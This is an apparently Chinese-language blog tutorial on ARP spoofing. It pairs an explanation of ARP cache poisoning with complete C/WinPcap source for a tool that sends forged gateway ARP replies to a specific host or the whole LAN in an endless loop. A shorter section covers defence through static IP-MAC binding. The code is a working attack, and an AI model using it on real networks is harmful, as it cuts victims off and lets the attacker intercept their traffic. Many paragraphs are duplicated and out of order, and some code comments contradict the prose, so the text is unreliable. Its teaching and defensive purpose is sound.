一、ARP攻击
我们先来看ARP的功能:ARP协议的基本功能就是通过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的进行。
把包发出去之后,xl这台机器就无法上网了,我们在查询xl的arp缓存:
从上面看192.168.0.1对应的mac为192.168.0.104的mac了(f0-7b-cb-a3-15-85为xxh192.168.0.104主机的mac),主机xl就再也上不了网了,直到它获取到正确的网关IP-MAC。
ARP攻击的范围:是在局域网中。
ARP攻击可以做:
(1)通过ARP欺骗,我们可以获取到被攻击欲发送的所有数据包。
(2)通过ARP欺骗,可以让被攻击的机器无法正常上网。
居然利用ARP漏洞可以进行攻击,那,还可以做些有益的事么?
走在回家的路上,我yy了一种可用方法,但是在实际生产中,也许会用不到,但可以提供为一种思路:
在分布式部署中,如果某台机器出了故障,此时就需要把访问到该机器的流量导向到别的机器,此时ARP就可以排上用场了(怎么用?你该知道了吧?),但是在实际生产环境中,会有更好的解决方案,今后我们在详细来聊。
192.168.1.1 与 a8-57-4e-5c-92-56 就绑定了。
对于网络管理员来说,还可以在网关进行绑定,如图:
我们先来看ARP的功能:ARP协议的基本功能就是通过目标设备的IP地址,查询目标设备的MAC地址,以保证通信的进行。
ARP的具体实现方式,我在《ARP协议(1)什么是ARP协议》已有说明:
Q:这张映射表是如何生成的?
A:
(1)这张表中,每条记录(非静态)的生存时间一般为20分钟,起始时间从被创建开始算起,一旦过期,将在这张表中删除。(手动删除全部,可以用 arp -d *命令)。
(2)当A主机要发送信息给B时,A先在ARP高速缓存里查询B的IP是否有对应的MAC地址,如果有则把B IP对应的MAC地址取出封装在数据包里,然后发送出去。
(3)如果A在ARP高速缓存里没有找到B IP对应的MAC,则向A所在的局域网内广播或者询问网关(路由):谁有B IP的MAC,请告诉A。
(4)如果B和A是同一个局域网,B回这条信息,并把B的MAC地址带上,A再把B的IP和MAC写入到ARP的高速缓存里(一般有效时间为20分钟)。
(5)如果B和A不是同一个局域网,并且A所在的网关知道(或间接知道(询问和发包))B的MAC,则网关发消息给A,并且带上B的MAC地址。A收到消息后,再把B的IP和MAC写入到ARP的高速缓存里(一般有效时间为20分钟)。
(6)如果没人回应,则超时,对方不可达。
(1)这张表中,每条记录(非静态)的生存时间一般为20分钟,起始时间从被创建开始算起,一旦过期,将在这张表中删除。(手动删除全部,可以用 arp -d *命令)。
(2)当A主机要发送信息给B时,A先在ARP高速缓存里查询B的IP是否有对应的MAC地址,如果有则把B IP对应的MAC地址取出封装在数据包里,然后发送出去。
(3)如果A在ARP高速缓存里没有找到B IP对应的MAC,则向A所在的局域网内广播或者询问网关(路由):谁有B IP的MAC,请告诉A。
(4)如果B和A是同一个局域网,B回这条信息,并把B的MAC地址带上,A再把B的IP和MAC写入到ARP的高速缓存里(一般有效时间为20分钟)。
(5)如果B和A不是同一个局域网,并且A所在的网关知道(或间接知道(询问和发包))B的MAC,则网关发消息给A,并且带上B的MAC地址。A收到消息后,再把B的IP和MAC写入到ARP的高速缓存里(一般有效时间为20分钟)。
(6)如果没人回应,则超时,对方不可达。
问题出在,在(4)中,如果主机F,向A发出了响应,说A询问IP的MAC是x(并非是正确的B的MAC),A收到后把它写入IP-MAC缓存,以后A向B发请求,全部都到F去了。这就产生了欺骗。
如果主机F伪造的是局域网中网关的MAC,则与F同局域网,被F攻击的主机就上不了网(因为被攻击的主句发向网关的数据包全部奥F主机上了),直到被攻击的主机中IP-MAC缓存过期,获取到正确的网关地址(IP-MAC)。
从上面的分析可以知道,要实现ARP攻击,只要在局域网中向被攻击的主机发送伪造的ARP响应包即可,所以要编码实现也就很简单了。
上篇,已经可以发送ARP数据包:
如果主机F伪造的是局域网中网关的MAC,则与F同局域网,被F攻击的主机就上不了网(因为被攻击的主句发向网关的数据包全部奥F主机上了),直到被攻击的主机中IP-MAC缓存过期,获取到正确的网关地址(IP-MAC)。
从上面的分析可以知道,要实现ARP攻击,只要在局域网中向被攻击的主机发送伪造的ARP响应包即可,所以要编码实现也就很简单了。
上篇,已经可以发送ARP数据包:
/*
功能: src_mac 向局域网广播:target_ip 192.168.1.111 的 mac 是多少
*/
int Text1(Arp *arp)
{
u_char dest_mac[6] = {0xFF,0xFF,0xFF,0xFF,0xFF,0xFF};// 广播
u_char src_mac[6] = {0xF0,0x7B,0xCB,0xA3,0x15,0x85};// 源mac地址 F0-7B-CB-A3-15-85
u_char sender_mac[6] = {0xF0,0x7B,0xCB,0xA3,0x15,0x85}; // 发送端mac F0-7B-CB-A3-15-85
u_char sender_ip[4] = {0xC0,0xA8,0x01,0x65}; //发送端IP地址 192.168.1.101
u_char target_mac[6] = {0x00,0x00,0x00,0x00,0x00,0x00}; // 因为不知道mac,所以mac为空
u_char target_ip[4] = {0xC0,0xA8,0x01,0x6F}; // 目的端ip 192.168.1.111;
if(PacketArpRequest(arp,dest_mac,src_mac,sender_mac,sender_ip,target_mac,target_ip) == -1)
{
printf("Packet arp request error\n");
return -1;
}
return 0;
}
我们只要修改Text1函数里面的这些参数即可,如下:
/*
实验的主机
xxh_mac: xxh机器的mac
xxh_ip: xxh机器的ip
route_mac: 路由器的mac
route_ip: 路由器的ip
mobile_mac: 手机的mac
mobile_ip: 手机的ip
broadcast: 广播地址
xl_mac: xl机器的mac
xl_ip: xl机器的ip
*/
u_char xxh_mac[6] = {0xF0,0x7B,0xCB,0xA3,0x15,0x85};
u_char xxh_ip[4] = {0xC0,0xA8,0x00,0x68};
u_char route_mac[6] = {0x80,0x89,0x17,0xCF,0xE6,0x6E};
u_char route_ip[4] = {0xC0,0xA8,0x00,0x01};
u_char mobile_mac[6] = {0x78,0xA8,0x73,0x82,0xBE,0xA4};
u_char mobile_ip[4] = {0xC0,0xA8,0x00,0x66};
u_char broadcast[6] = {0xFF,0xFF,0xFF,0xFF,0xFF,0xFF};
u_char xl_mac[6] = {0x00,0x21,0x00,0x29,0x75,0x04};
u_char xl_ip[4] = {0xC0,0xA8,0x00,0x6C};//192.168.0.108
/*
欺骗主机xl
只告诉xl这台机器,route_ip的Mac是xxh_mac
*/
int Text3(Arp *arp)
{
//broadcast route_mac route_ip mobile_mac mobile_ip xxh_mac xxh_ip
if(PacketArpReplay(arp,xl_mac,xxh_mac,xxh_mac,route_ip,xxh_mac,xxh_ip) == -1)
{
printf("Packet arp request error\n");
return -1;
}
return 0;
}
把包发出去之后,xl这台机器就无法上网了,我们在查询xl的arp缓存:
从上面看192.168.0.1对应的mac为192.168.0.104的mac了(f0-7b-cb-a3-15-85为xxh192.168.0.104主机的mac),主机xl就再也上不了网了,直到它获取到正确的网关IP-MAC。
ARP攻击的范围:是在局域网中。
ARP攻击可以做:
(1)通过ARP欺骗,我们可以获取到被攻击欲发送的所有数据包。
(2)通过ARP欺骗,可以让被攻击的机器无法正常上网。
居然利用ARP漏洞可以进行攻击,那,还可以做些有益的事么?
走在回家的路上,我yy了一种可用方法,但是在实际生产中,也许会用不到,但可以提供为一种思路:
在分布式部署中,如果某台机器出了故障,此时就需要把访问到该机器的流量导向到别的机器,此时ARP就可以排上用场了(怎么用?你该知道了吧?),但是在实际生产环境中,会有更好的解决方案,今后我们在详细来聊。
二、ARP防护
从上面可知,ARP攻击,主要是利用了ARP的漏洞:主机在查询不到IP-MAC缓存,向局域网发出询问请求,从而被不法攻击。
进而可知,攻击的前提是,主机在IP-MAC查询不到,才有被攻击的可能,那如果我在IP-MAC查到了,那就避免了ARP攻击?
对头!
我们之前有说过,ARP缓存的一般有效时间是20分钟,那如何让我们在IP-MAC查到相应的消息呢?
绑定IP-MAC!(有点类似绑定路由的概念)
从上面可知,ARP攻击,主要是利用了ARP的漏洞:主机在查询不到IP-MAC缓存,向局域网发出询问请求,从而被不法攻击。
进而可知,攻击的前提是,主机在IP-MAC查询不到,才有被攻击的可能,那如果我在IP-MAC查到了,那就避免了ARP攻击?
对头!
我们之前有说过,ARP缓存的一般有效时间是20分钟,那如何让我们在IP-MAC查到相应的消息呢?
绑定IP-MAC!(有点类似绑定路由的概念)
这张图的最后一列“类型”,有动态和静态。动态就是临时缓存(20分钟),静态就是孤单绑定。
如何绑定?
1、查看网络状态
netsh i i show in
如何绑定?
1、查看网络状态
netsh i i show in
我电脑是活跃可用用的网络适配器的Idx是12
2、设置IP <---> MAC
netsh -c "i i" add neighbors [Idx序号] [ip地址] [mac地址]
如图:
192.168.1.1 与 a8-57-4e-5c-92-56 就绑定了。
对于网络管理员来说,还可以在网关进行绑定,如图:
这个页面是我家的路由器(手机上登录的,所以图片看来比较小)。
上面有提供绑定按钮操作,绑定后,对路由也就比较安全了。
ps:现在想起来,在迅雷的时候,新领的电脑要上网的话,需要把电脑的MAC报给运维同事,然后才可以上网。一直不清楚他们要电脑的MAC干嘛,原来就在于此啊。
同时,也可以装一些ARP防火墙或软件(我猜,他们的原理也不过如此)
好了,整个ARP系列就完成了,大家看得如何,欢迎大家来讨论交流:
公众号,搜索echo,或扫下面的二维码,进行关注交流
上面有提供绑定按钮操作,绑定后,对路由也就比较安全了。
ps:现在想起来,在迅雷的时候,新领的电脑要上网的话,需要把电脑的MAC报给运维同事,然后才可以上网。一直不清楚他们要电脑的MAC干嘛,原来就在于此啊。
同时,也可以装一些ARP防火墙或软件(我猜,他们的原理也不过如此)
好了,整个ARP系列就完成了,大家看得如何,欢迎大家来讨论交流:
公众号,搜索echo,或扫下面的二维码,进行关注交流
源码:
<span style="font-size:14px;">#if 0
#include <stdlib.h>
#include <stdio.h>
// pcap_findalldevs_ex
#define HAVE_REMOTE
#include <pcap.h>
/*
实验的主机
xxh_mac: xxh机器的mac
xxh_ip: xxh机器的ip
route_mac: 路由器的mac
route_ip: 路由器的ip
mobile_mac: 手机的mac
mobile_ip: 手机的ip
broadcast: 广播地址
xl_mac: xl机器的mac
xl_ip: xl机器的ip
*/
u_char xxh_mac[6] = {0xF0,0x7B,0xCB,0xA3,0x15,0x85};
u_char xxh_ip[4] = {0xC0,0xA8,0x00,0x68};
u_char route_mac[6] = {0x80,0x89,0x17,0xCF,0xE6,0x6E};
u_char route_ip[4] = {0xC0,0xA8,0x00,0x01};
u_char mobile_mac[6] = {0x78,0xA8,0x73,0x82,0xBE,0xA4};
u_char mobile_ip[4] = {0xC0,0xA8,0x00,0x66};
u_char broadcast[6] = {0xFF,0xFF,0xFF,0xFF,0xFF,0xFF};
u_char xl_mac[6] = {0x00,0x21,0x00,0x29,0x75,0x04};
u_char xl_ip[4] = {0xC0,0xA8,0x00,0x6C};//192.168.0.108
// 以太网的首部
typedef struct EthHead
{
u_char dest_mac[6]; // 以太网的目的地址
u_char src_mac[6]; // 以太网的源地址
u_char type[2]; // 帧类型 ARP:0x0806
}EthHead;
// ARP数据包
typedef struct ArpMsg
{
u_char mac_type[2]; // 硬件类型 以太网: 1
u_char protocal_type[2]; // 协议类型 IP地址:0x0800
u_char mac_len; // 硬件地址长度 6
u_char protocal_len; // 协议地址长度 4
u_char op[2]; // 操作字段 ARP请求:1 ARP应答:2 RARP请求:3 RARP应答:4
u_char sender_mac[6]; // 发送端以太网地址
u_char sender_ip[4]; // 发送端IP地址
u_char target_mac[6]; // 目的以太网地址
u_char target_ip[4]; // 目的IP地址
}ArpMsg;
// 以太网ARP
typedef struct Arp
{
EthHead eth_head;
ArpMsg arpmsg;
}Arp;
/*
函数名: PacketArp
功 能: 封装ARP包
参 数:
arp_req : Arp类型,出参
op : 操作字段
ARP请求:1
ARP响应:2
RARP请求:3
RARP相应:4
dest_mac : 以太网目的地址
src_mac : 以太网源地址
sender_mac:发送端以太网地址
sender_ip : 发送端IP地址
target_mac: 目的以太网地址
target_ip : 目的IP地址
返 回: 0正确,-1错误
*/
int PacketArp(Arp *arp_req, u_char op, u_char dest_mac[6], u_char src_mac[6], u_char sender_mac[6],
u_char sender_ip[4], u_char target_mac[6], u_char target_ip[4])
{
if(arp_req == NULL)
return -1;
memcpy(arp_req->eth_head.dest_mac, dest_mac, 6);
memcpy(arp_req->eth_head.src_mac, src_mac, 6);
arp_req->eth_head.type[0] = 0x08;
arp_req->eth_head.type[1] = 0x06;
//arp_req->eth_head.type = htons(arp_req->eth_head.type);
arp_req->arpmsg.mac_type[0] = 0x00;
arp_req->arpmsg.mac_type[1] = 0x01;
arp_req->arpmsg.protocal_type[0] = 0x08;
arp_req->arpmsg.protocal_type[1] = 0x00;
arp_req->arpmsg.mac_len = 0x06;
arp_req->arpmsg.protocal_len = 0x04;
arp_req->arpmsg.op[0] = 0x00;
arp_req->arpmsg.op[1] = op;
memcpy(arp_req->arpmsg.sender_mac, sender_mac, 6);
memcpy(arp_req->arpmsg.sender_ip, sender_ip, 4);
memcpy(arp_req->arpmsg.target_mac, target_mac, 6);
memcpy(arp_req->arpmsg.target_ip, target_ip, 4);
return 0;
}
// ARP 请求包
int PacketArpRequest(Arp *arp_req, u_char dest_mac[6], u_char src_mac[6], u_char sender_mac[6],
u_char sender_ip[4], u_char target_mac[6], u_char target_ip[4])
{
return PacketArp(arp_req,0x01,dest_mac,src_mac,sender_mac,sender_ip,target_mac,target_ip);
}
// ARP 响应包
int PacketArpReplay(Arp *arp_req, u_char dest_mac[6], u_char src_mac[6], u_char sender_mac[6],
u_char sender_ip[4], u_char target_mac[6], u_char target_ip[4])
{
return PacketArp(arp_req,0x02,dest_mac,src_mac,sender_mac,sender_ip,target_mac,target_ip);
}
// 打开网络适配器
pcap_if_t* choose_interface()
{
pcap_if_t *alldevs;
pcap_if_t *d;
int inum;
int i=0;
char errbuf[PCAP_ERRBUF_SIZE];
/* Retrieve the device list on the local machine */
if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1)
{
fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
exit(1);
}
/* Print the list */
for(d=alldevs; d; d=d->next)
{
printf("%d. %s", ++i, d->name);
if (d->description)
printf(" (%s)\n", d->description);
else
printf(" (No description available)\n");
}
if(i==0)
{
printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
return NULL;
}
printf("Enter the interface number (1-%d):",i);
scanf_s("%d", &inum);
if(inum < 1 || inum > i)
{
printf("\nInterface number out of range.\n");
/* Free the device list */
pcap_freealldevs(alldevs);
return NULL;
}
/* Jump to the selected adapter */
for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);
return d;
}
/*
xxh(192.168.0.104) 广播: 192.168.0.102 的MAC是多少
结果:arp -a 没有结果
*/
int Text1(Arp *arp)
{
u_char dest_mac[6] = {0xFF,0xFF,0xFF,0xFF,0xFF,0xFF};
u_char src_mac[6] = {0xF0,0x7B,0xCB,0xA3,0x15,0x85};
u_char sender_mac[6] = {0xF0,0x7B,0xCB,0xA3,0x15,0x85};
u_char sender_ip[4] = {0xC0,0xA8,0x00,0x68}; //发送端IP地址 192.168.0.104
u_char target_mac[6] = {0x00,0x00,0x00,0x00,0x00,0x00};
u_char target_ip[4] = {0xC0,0xA8,0x00,0x66}; //192.168.0.102;
if(PacketArpRequest(arp,dest_mac,src_mac,sender_mac,sender_ip,target_mac,target_ip) == -1)
{
printf("Packet arp request error\n");
return -1;
}
return 0;
}
/*
全网欺骗
广播 route_ip 的Mac是 xxh_mac 导致除xxh机器外,
结果:所有的机器都上了了网络
*/
int Text2(Arp *arp)
{
//broadcast route_mac route_ip mobile_mac mobile_ip xxh_mac xxh_ip
if(PacketArpReplay(arp,broadcast,xxh_mac,xxh_mac,route_ip,xxh_mac,xxh_ip) == -1)
{
printf("Packet arp request error\n");
return -1;
}
return 0;
}
/*
欺骗xl
只告诉xl这台机器,route_ip的Mac是xxh_mac
结果:所有的机器都上了了网络
*/
int Text3(Arp *arp)
{
//broadcast route_mac route_ip mobile_mac mobile_ip xxh_mac xxh_ip
if(PacketArpReplay(arp,xl_mac,xxh_mac,xxh_mac,route_ip,xxh_mac,xxh_ip) == -1)
{
printf("Packet arp request error\n");
return -1;
}
return 0;
}
void main(int argc, char **argv)
{
pcap_t *fp;
char errbuf[PCAP_ERRBUF_SIZE];
u_char packet[42];
int i;
pcap_if_t *d = choose_interface();
if(d == NULL)
{
exit(1);
}
char *source = d->name;
/* Open the output device */
if ( (fp= pcap_open(source, // name of the device
100, // portion of the packet to capture (only the first 100 bytes)
PCAP_OPENFLAG_PROMISCUOUS, // promiscuous mode
1000, // read timeout
NULL, // authentication on the remote machine
errbuf // error buffer
) ) == NULL)
{
fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", argv[1]);
return;
}
Arp arp;
if(Text3(&arp) == -1)
{
return ;
}
memcpy(packet, (void*)&arp, 42);
/* Send down the packet */
while(1)
{
if (pcap_sendpacket(fp, packet, 42 /* size */) != 0)
{
fprintf(stderr,"\nError sending the packet: %s\n", pcap_geterr(fp));
return;
}
printf("sleep(2000)\n");
Sleep(2000);
}
return;
}
#endif</span><span style="font-size: 14px;">
</span>